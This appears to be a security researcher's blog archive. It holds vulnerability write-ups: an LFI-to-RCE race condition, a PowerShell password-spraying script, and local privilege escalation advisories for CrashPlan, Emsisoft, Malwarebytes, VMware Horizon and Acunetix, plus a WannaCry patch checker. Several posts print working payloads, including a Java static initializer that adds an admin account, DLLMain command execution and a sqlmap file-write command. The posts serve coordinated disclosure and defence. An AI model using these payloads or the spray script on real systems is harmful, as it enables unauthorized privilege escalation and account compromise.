Apr 032018
 

As you might have guessed already by the title: I’m not a big fan of web vulnerabilities. Well, actually it is not the fault of the web here, but that I have the feeling the many people are just reporting XSS as if it were super critical. I do fully understand that its consequences can be devastating, but most often they are not. PERIOD.

In this post I want to document an exploit that I discovered during one of my latest pentests. I consider it a great example, that shows that the web can in fact be interesting. By combining several issues it’s often / sometimes / once-in-a-lifetime possible to achieve something really interesting, like a remote code execution. As I can’t discuss the vulnerabilities on the real product (because of legal obligations), I rebuilt the interesting parts myself and pushed them to my race2rce Github repro. So you can try it out yourself it you are curious.

Everything started with the following dirb scan:

As you can see there is a “hidden” directory /Global with directory listing enabled on the target server. Many of the therein identified directories were empty or could only be accessed with valid credentials. However, the folders lic and logviewer were unsecured. Additionally, the file demo.lic could be downloaded.

Let’s start with the folder /Global/logviewer. It’s a simple web page to monitor some kind of log. After selecting one of the listed files, its content is shown. The interesting part is the URL: http://192.168.88.147/Global/logviewer/?file=../logs/fakeapp.1.log. The highlighted parted almost screams for a LFI.

And I was right. By modifying the URL to http://192.168.88.147/Global/logviewer/?file=../../../../../../../../etc/passwd a list of all users was printed.

The big question: Is there anything that is worth reading? Well, let’s check the content of /Global/lic.

It looks like a license viewer where .lic files can be uploaded and checked for validity. By uploading the demo.lic (as previously downloaded) we learn that the license file is not valid (anymore).

The question is, what is this file doing in the background? By abusing the LFI vulnerability we can obtain the underlying source: http://192.168.88.147/Global/logviewer/?file=../lic/index.php

This looks interesting, so let’s analyse the file in detail. In our example here, we can simply use the original file from Github.

The first thing we learn is that there is a magic byte sequence. The file is only processed any further if it starts with “fakeapp”.

After that, the rest of the file is stored with the user provided file name. Because there is no additional path given, the file is saved in the current working directory.

Furthermore, after the license file has been checked it is removed from the server:

Well… this may be vulnerable for a race condition. If we add the magic bytes to any PHP code file, it should be stored in the current working directory with the filename we provide during the upload. If the file is requested at exactly the right time – between it was written to disc and before it is removed – arbitrary PHP commands can be executed. At least that’s the theory.

With that knowledge I started to build a small Python exploit PoC. It uses two threads to abuse the identified race condition. One thread (called writer) tries to upload a malicious PHP license file that can execute arbitrary CLI commands.

The second thread (the main thread) tries to find the right moment to exploit it. The following screenshots shows it in action.

In this blog post I wanted to show that there is more than XSS. Sometimes you have to be creative to find something interesting – like a remote code execution. But please always remember: A vulnerability is only as critical as the data that is exposed on or from the affected system as well as the gained access level.

If you are keen to try it yourself, you can download everything from my race2rce Github repro.

Mar 092018
 

During one of my latest pentest assignments I learned about a standard password widely used within the target organisation. Hence, I wanted to check all functional AD user accounts for said password. Normally I would solve this task by using Metasploit’s smb_login auxiliary module. However, in this case I had no access to my toolkit.

To still solve the task, I came back to good old Powershell. With just a few lines of code I wrote my own login checker. It simply reads a file (user.txt) line by line and tries to authenticate as this user with the given standard password against the domain. Be aware that this is everything but silent! However, sometimes you simply don’t care about flying below the radar and sometimes you just know no-one is watching anyway 😉

Without further due, here’s the code. Maybe it’s of use for someone else.

foreach($line in Get-Content .\user.txt) {
    $username = $line
    $password = "FakeNews"

    # Get current domain using logged-on user's credentials
    $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
    
	# Try to connect using the credentials to test
    $domain = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$UserName,$Password)

    if ($domain.name -eq $null)
    {
     write-host  -ForegroundColor Red "[-] User $username"
    }
    else
    {
     write-host -ForegroundColor Green "[+] User $username uses $password"
    }
}

The following screenshot illustrates the expected output.

And don’t forget: Always watch for Fake News in your org

Feb 152018
 

This advisory is about a local privilege escalation vulnerability affecting CrashPlan’s Windows application. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running the CrashPlan Windows client version 4.8.2.4.

The underlying issue is that the Windows Service “CrashPlan Backup Service” loads and executes files from the insecure filesystem location C:\ProgramData\CrashPlan.

Amongst others, Java Class files are searched and eventually loaded from there. This results in a CLASS side-loading vulnerability.

The special thing about this folder are the default filesystem ACLs that allow any local user to append new files.

Thereby, it is possible to drop a malicious file. To exploit this issue I built the following Java class:

package org.slf4j.ext;

import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;

/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 * 
 * @author Ralph Goers
 */
public class EventData implements Serializable {

	static
    {
    try {
    		Runtime rt = Runtime.getRuntime();
			Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
		} catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * Default Constructor
     */
    public EventData() {
    }
}

To inject our own commands, Java’s Static Initializers are abused. These are immediately executed after the class is being loaded by the JVM. To compile it simply use javac:

javac EventData.java

Finally, drop the compiled Java class file into the to-be-created folder C:\ProgramData\CrashPlan\lang\org\slf4j\ext

After the system is rebooted this Java class is loaded and our code is executed as SYSTEM. In this example the local administrative user attacker was added.

Thereby, a non-admin user is able to fully compromise the local endpoint.

Suggested solution

End-users should update to the latest available version.

Timeline

  • 18.5.2017: The issues has been identified
  • 22.5.2017: The issues has been documented and reported to the vendor
  • 25.5.2017: Vendor confirmed vulnerability and is working on a fix
  • 13.6.2017: New version containing a fix has been released. The release notes have been published here.
  • 15.2.2018: Public disclosure
Nov 102017
 

As you may have noticed, it has been quite still here for a while. This was related to the preparations for this release: A post disclosing a new type of vulnerability, affecting multiple Anti-Virus solutions. To summaries: Today, I’m disclosing an issue, that can be exploited by any local user to gain full control over the endpoint by abusing the restore from quarantine Anti-Virus feature. 

And because every new vulnerability needs its own name and logo, I want to introduce you to #AVGater:

The Basics

But let’s get back on track, by discussing a few Anti-Virus basics. The following diagram shows the inner workings of a typical AV from an unprivileged user’s point of view. There are three different access domains: The kernel mode, the privileged user mode (SYSTEM) and the unprivileged user mode. As shown in the following image, the different components have widely different duties:

Within the context of the unprivileged user there is only the AV user interface. By itself, it has no real power, because its executing within a limited user session. However, by talking to the AV Windows service it can do many things a normal user would not be able too. For example it may be allowed to restore files from the virus quarantine (This could be a hint – Couldn’t it?). Additionally there is kernel component. Most likely it’s doing the real work of checking objects for known threat identifiers.

The Idea

So what’s the real point here? Well, if a non-privileged user would be able to manipulate any of the communication channels that cross security boundaries (unprivileged user mode to privileged user mode or privileged user mode to kernel mode) he could escalate his privileges. But how to do that?

In the case of #AVGater, the answer to this question is: By manipulating the restore process from the virus quarantine:

As shown in the above video, #AVGater can be used to restore a previously quarantined file to any arbitrary filesystem location. This is possible because the restore process is most often carried out by the privileged AV Windows user mode service. Hence, file system ACLs can be circumvented (as they don’t really count for the SYSTEM user). This type of issue is called a privileged file write vulnerability and can be used to place a malicious DLL anywhere on the system. The goal is to side load this library for a legitimate Windows servers by abusing the DLL Search Order:

If this succeeds, arbitrary code can be executed with the help of the DLLMain entry point.

But there is still one very important question still unanswered: How is it possible to tamper with the restore process? The solution are NTFS directory junctions. They are basically symbolic links for directories that can be created by anyone with the help of mklink.

#AVGater in plain english: By abusing NTFS directory junctions, the AV quarantine restore process can be manipulated, so that previously quarantined files can be written to arbitrary file system locations.

Putting it all together

With all this knowledge, we can now paint a complete attack scenario: First a malicious library is moved to the AV quarantine. Then, by abusing directory junctions the original source path is redirected to another destination. Most likely a folder within C:\Program Files or C:\Windows. By restoring the previously quarantined file, the SYSTEM permissions of the AV Windows user mode service are misused, and the malicious library is placed in a folder where the currently signed in user is unable to write to under normal conditions. Because of how the DLL search order works, it is finally loaded by another privileged Windows process. Thereby the code within the DLLMain of the malicious library is executed. Hence, a local non-admin attacker gained full control over the affected endpoint.

Here’s a diagram illustrating the whole process:

 

Who is/was affected?

During the preparation for this public disclosure, several different product have been checked for #AVGater.

The following vendors have already released their fix. However, there are a few more to come!

   
   

 

If anyone finds additional vulnerable products, please contact me. I will report them and update this list as soon as they fixed the issue.

Getting our hands dirty

If you want to know more about how to exploit #AVGator in a real life scenario, I have a good news for you: I already fully documented two exploit vectors:

Additionally, here are the slides of my talk “When your anti virus turns against you” from the IT SECX conference.

How to protect myself?

Generally, it’s pretty simple: Always install updates in a timely manner. However, as some vendors still need a few more days to release their fix, it may take a little till everyone is protected.

Furthermore, as #AVGator can only be exploited if the user is allowed to restore previously quarantined file, I recommend everyone within a corporate environment to block normal users from restoring identified threats. This is wise in any way.

Nov 102017
 

This post is about a local privilege escalation vulnerability in Emsisoft Anti-Malware. It allows any local user to abuse the virus quarantine to get local SYSTEM level access. It has been verified on a fully patched english Windows 7 x64 for Emsisoft Anti-Malware 12.1.0.6970. This issue itself is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. 

The underlying issue is that the Emsisoft Anti-Malware’s quarantine interface can be abused to restore files as SYSTEM to any filesystem location. The following screenshot shows the starting point for our attack. We – as a local non-admin user – manually added a malicious version.dll from within an newly created folder (like ~\Desktop\X) into the virus quarantine using the “Add file” button.

This version.dll exports all the same functions as the one from Microsoft. However there is no real functionality within it except a few system calls within its DLLMain that add a new user as soon as it is loaded.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

In the next step we start with the real magic: Windows Junction Points (https://technet.microsoft.com/en-us/library/cc753194%28v=ws.11%29.aspx?f=255&MSPPError=-2147217396)

To do that remove the empty parent folder (~\Desktop\X) and replace it with a junction point using mklink that points to Emsisoft Anti-Malware’s application folder.

To finally trigger the issue simply restore the previously quarantined version.dll. As the original path now contains a junction and the restore process is carried out as SYSTEM our version.dll gets places into the Program Files directory. This clearly proofs the privilege escalation: A normal user should not be able to do that.

Now simply reboot the system. During the start of the automatically loaded “Emsisoft Protection Service” Windows service the malicious version.dll gets loaded and our new user attacker is added to the system.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction. One solution could be to always restore files to a temporary folder first (like the users temp folder) and then let the user-mode application do the move to the final path. Thereby it is guaranteed that files can only be restored to folders where the current user has write permissions.

Timeline

  • 02.12.2016: The issues has been documented and reported
  • 06.12.2016: Vendor was able to reproduce and started to work on a fix
  • 14.12.2016: Fixed in Beta release
  • 15.12.2016: Update pushed into production
  • 11.10.2017: Public release
Nov 102017
 

This post is about a local privilege escalation vulnerability in Malwarebytes Anti-Malware 3. It can be abused by any local user to gain full control over the system. It is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. It has been verified on a fully patched english Windows 7 x64 running Malwarebytes Free 3.0.5.1299.

The underlying issue is that the Quarantine feature can be abuse to write arbitrary files to any filesystem location with full SYSTEM level permissions.

The first step in this attack is that a file with the name version.dll has to be quarantined from an otherwise empty folder. A good trick to do so is to simply rename a well-known malware to version.dll. I prepared such a sample here. Download it to ~\Desktop\X\version.dll and trigger a manual scan to get it detected.

As soon as the following dialog is shown, replace the already detected malware with our payload.

The prepared payload mimics the Windows library version.dll. However, instead of providing any real functionality it simply logs the current user to C:\Users\Public\user.txt. You can download the full source here.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

Then finish the quarantine process and reboot the system. Now delete the previously created and now empty folder X and replace it with a directory junction as shown below.

Finally restore the quarantined file.

Because of the directory junction the library version.dll is restored to C:\Program Files\Malwarebytes\Anti-Malware.

After a reboot our “malicious” version.dll is loaded by the Windows service “Malwarebytes Service” (mbamservice.exe). As this service uses the SYSTEM account, we gained full control over the computer. This is also documented as the current user is logged to C:\Users\Public\user.txt.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction.

Timeline

  • 14.1.2017: The issues has been documented and reported
  • 19.1.2017: Vendor starts investigation
  • 26.1.2017: Issue confirmed – Fix implemented
  • 27.3.2017: Update fully deployed
  • 11.10.2017: Public release
Jul 102017
 

In this blog post I want to discuss a code injection vulnerability in VMware Horizon‘s macOS Client Version 4.4.0 (5164329) that can be abused to gain local root privileges. The good news is, that it has already been fixed in the latest available version. I found it after learning about the “Open VMware View Client Services” SUID binary on my Mac.

I think it is used internally by Horizon’s remote USB services and is only exploitable after they have been started once by entering administrative credentials.

To investigate the binary further, I used the newly released Fireeye application Monitor.app. It basically is Process Monitor (procmon) for macOS.

Based on the activities as captured by Monitor.app it was clear that “Open VMware View Client Services” was basically a wrapper around “services.sh”. This makes sense as the SUID bit is ignored for script files.

After taking a closer look at this script, I identified the highlighted line in the following screenshot as a starting point for a possible code injection vulnerability. Although I had no idea about the inner workings of “./vmware-usbarbitrator” this binary was immediately my focus for further investigations. The reason for this is that I – as a non-admin user – am able to set the content of the environment variable VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS – that is used in an SUID executed script. 

After taking a closer look at the possible command line options I was pretty sure I could abuse this setup to load a custom kernel extension by abusing the –kext flag. 

However, there are two further problems:

  1. Kernel Extensions are only loaded if they are owned by root : wheel
  2. Additionally, KEXTs the have to be signed by Apple.

In the course of this LPE I will ignore issue #2. Hence, I disabled SIP.

So let’s focus on issue #1. To successfully load a kernel extension the binary has to be owned by root : wheel. However, for a normal user it is impossible to set this file system permissions on a any local file. Luckily, I had already invested plenty of time to learn about the In’s and Out’s of file systems at Tools On Air. So I knew, the only thing I had to do was to abuse NFS. This is possible because NFS allows the server to specify the file system permissions, even if mounted by a user. Any other local or remote file system I know of, ignores files owned by root in some way. So my next step was to simply export a remote folder (on my Kali Linux I always carry around with me) using NFS…

… and mount it using Finder’s “Connect to Server”.

After creating a simple KEXT …

and updating the Info.plist file to meet the requirements (simply add a dictionary “IOKitPersonalities”) we are ready! 

After copying this KEXT to the NFS server and adapting its permissions to meet the “root:wheel” requirement, we are finally able to start the real exploitation.

To do so simply set the “VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS” environment variable to our previously create KEXT and run “Open VMware View Client Services”. This is enough to load it!

Hence, we gained code execution from a normal user’s account within the kernel context!

Suggested Solution

Filter or clear the environment variables VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS and VMWARE_VIEW_USBD_LOG_OPTIONS.

Disclosure Timeline

21-04-2017: The issues has been documented and reported
24-04-2017: VMware started investigating
06-06-2017: Fix ready
08-06-2017: Updated Horizon version 4.5 alongside security advisory VMSA-2017-0011 released

May 282017
 

This time I want to discuss another local privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified for Acunetix Trail 11.0.163541031 on a fully patched english Windows 7 64-bit.

The underlying issue is that the installed Acunetix PostgresSQL database server can be hijacked by using two different methods. As this database server is running as Local System it can be further abused to write arbitrary files. This in turn can be exploited to gain full control over the system using DLL sideloading.

Gaining access to the database #1

As stated, there are two different methods to gain access to the PostgresSQL server. The first one is very simple: just connect to it. This is possible because the local address is configured as trusted in the configuration file C:\ProgramData\Acunetix 11 Trial\db\pg_hba.conf.

Gaining access to the database #2

The second method is as simple: The user-readable configuration file C:\ProgramData\Acunetix 11 Trial\settings.ini contains the cleartext credentials for the database server.

Abusing the database access

Both methods can be used to connect to the database. The easiest way to abuse this access is to use sqlmap. This setup allows one to write files to arbitrary locations. To finally gain full control over the system I analysed the Acunetix service application. This revealed, as shown in the screenshot below, that the Windows library version.dll is not only loaded from the system directory, but also from the application’s current working directory.

Hence, I built a library mimicking the real Windows DLL version.dll. However, instead of providing any real functionality, it simply creates a new file on the system drive’s root. You can download the full source code and a precompiled version here.

Using the following sqlmap command this DLL can then be placed into the folder C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031.

C:\Python27\python.exe sqlmap.py -d "PostgreSQL://wvs:iRk2mQ3GNVqldjhgeGvMj7UNtd3oUmXT@127.0.0.1:45432/wvs" --dbs --file-write version.dll --file-dest "C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031\version.dll"

The following screenshots illustrates the upload process.

Now simply navigate to C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031 and verify that the file version.dll has been added.

After a reboot the DLL will be loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt will be created.

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, install Python 2.7, pip using get-pip.py and sqlmap (including its dependencies). Then – as a non admin user – follow the instructions of this post to verify the vulnerability.

Suggested solution

The database server should be secured: This means that the configuration file pg_hba.conf should be updated so that the local system should not be considered as trusted anymore and the database configuration file should be secured from unauthorised access using the filesystem ACLs.

An even better idea would be to use an unprivileged user to run the database server in the first place.

Timeline

  • 9.1.2017: The issues has been documented and reported
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 282017
 

This post is about a privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running Acunetix Trail 11.0.163541031.

The underlying issue is that a subprocess (opsrv.exe) of the automatically launched Windows Service “Acunetix Trial” tries to load the DLL C:\DLLs\python3.dll.

Although this path does not exist by default it can be created by any local user. This is possible because the filesystem ACLs of the system drive allow anyone to create new subfolders.

With that knowledge I created a new DLL that mimics the expected exports of the real python3.dll. However, instead of providing any real functionality it simply creates a new file on the C: drives root. This in turn is only possible for administrators and proofs the we gained full control over the system. You can download the full source here.

/* 
	Implement DLLMain with common datatypes so we don't have to include windows.h. 
	Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"date > C:\\this_should_not_work.txt\"");
	exit(1);
	return 0;
}

After compiling it into a DLL I stored it (logically with a standard User account) as C:\DLLs\python3.dll.

After a reboot the DLL was loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt was created.

 

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, as a non-admin user, create the folder C:\DLLs and place the library python3.dll therein. Now simply reboot the system. After that a new file C:\this_should_not_work.txt has been created. This proof that full SYSTEM level access has been gained.

Suggested solution

All external dependencies should only be loaded from secure locations.

Timeline

  • 5.1.2017: The issue has been documented and reported
  • 6.1.2017: The issue has already been escalated to R&D
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 142017
 

UPDATE (16.05.2017 @ 21:06): This script should now work for all operating systems up to the current Windows 10 / Server 2016 build 14393.1198

UPDATE (15.05.2017 @ 22:15): There have been several reports that this script did not work on some Windows 2008 and 2016 servers. This was related to Get-HotFix, as it misses some installed updates. Hence, I added a second method to fetch all installed fixes… I guess this should be more stable…

Because of the current situation regarding WannaCry, I needed a simple solution to check if a system has already been patched against all the issues fixed in MS17-010. However, as there are different KB’s for the different operating systems, this is a lot more difficult than I first thought.

Hence, I updated a script I found on the internet so that it can be simply pasted into a PowerShell to check a system.

# Copy and paste this to a Powershell Window to check if MS17-010 has already been installed on this system

function checkForHotFix
{
 Write-Host "[*] MS17-010 Checker"
 Write-Host "[*] ++++++++++++++++++++++++++++++++++++++++++"
 Write-Host "[*] Starting check"

 # based on https://www.poweradmin.com/blog/how-to-check-for-ms17-010-and-other-hotfixes/
 # and on http://tomtalks.uk/2013/09/list-all-microsoftwindows-updates-with-powershell-sorted-by-kbhotfixid-get-microsoftupdate/

 # To find all Hotfixes of a security update copy the page content and
 # use http://regexr.com/ with the regex KB[0-9]{7} to extract them

 $hotfixes = "KB4013429","KB4012606","KB4013198","KB4012598","KB4012598","KB4012598","KB4012598","KB4012598","KB4012212","KB4012215","KB4012212","KB4012215","KB4012213","KB4012216","KB4012214","KB4012217","KB4012213","KB4012216","KB4012606","KB4013198","KB4013429","KB4013429","KB4016871", "KB4019472"

 Write-Host "[*] Querying installed HotFixes using method 1"
 $wu = new-object -com “Microsoft.Update.Searcher”
 
 $totalupdates = $wu.GetTotalHistoryCount()
 $all = $wu.QueryHistory(0,$totalupdates)
 
 # Define a new array to gather output
 $UpdateCollection= @()
 
 Foreach ($update in $all)
 {
 $string = $update.title
 
 $Regex = “KB\d*”
 $KB = $string | Select-String -Pattern $regex | Select-Object { $_.Matches }
 
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $KB.‘ $_.Matches ‘.Value
 $output | add-member NoteProperty “Title” -value $string
 $UpdateCollection += $output
 
 }

 Write-Host "[*] Querying installed HotFixes using method 2" 
 Foreach ($hotfix in Get-Hotfix)
 {
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $hotfix.HotFixID
 $output | add-member NoteProperty “Title” -value $hotfix.Description
 $UpdateCollection += $output 
 }
 
 Write-Host "[*] Check if any suitable HotFix was found"
 if ($UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID}) {
 $hotfixID = $UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID} | Select-Object -first 1 "HotFixID"
 Write-Host "[+] Hotfix"$hotfixID.HotFixID"installed - System is secure!" -foreground "green"
 } else {
 Write-Host "[-] No Hotfix found - System vulnerable!" -foreground "red"
 }
}
cls
checkForHotFix

# Also copy this comment - This makes it "autorun"

If a system has already been patched it looks like this:

If not, well there is a warning:

Maybe it’s of use for someone else…

Acknowledgment:

  • Thanks to Markus for pointing out a missing KB
  • Thanks to Hannes for spotting a typing error that caused the script to always report “vulnerable” even on patched systems.
  • Thanks to Dustin (see comments) for pointing out another missing KB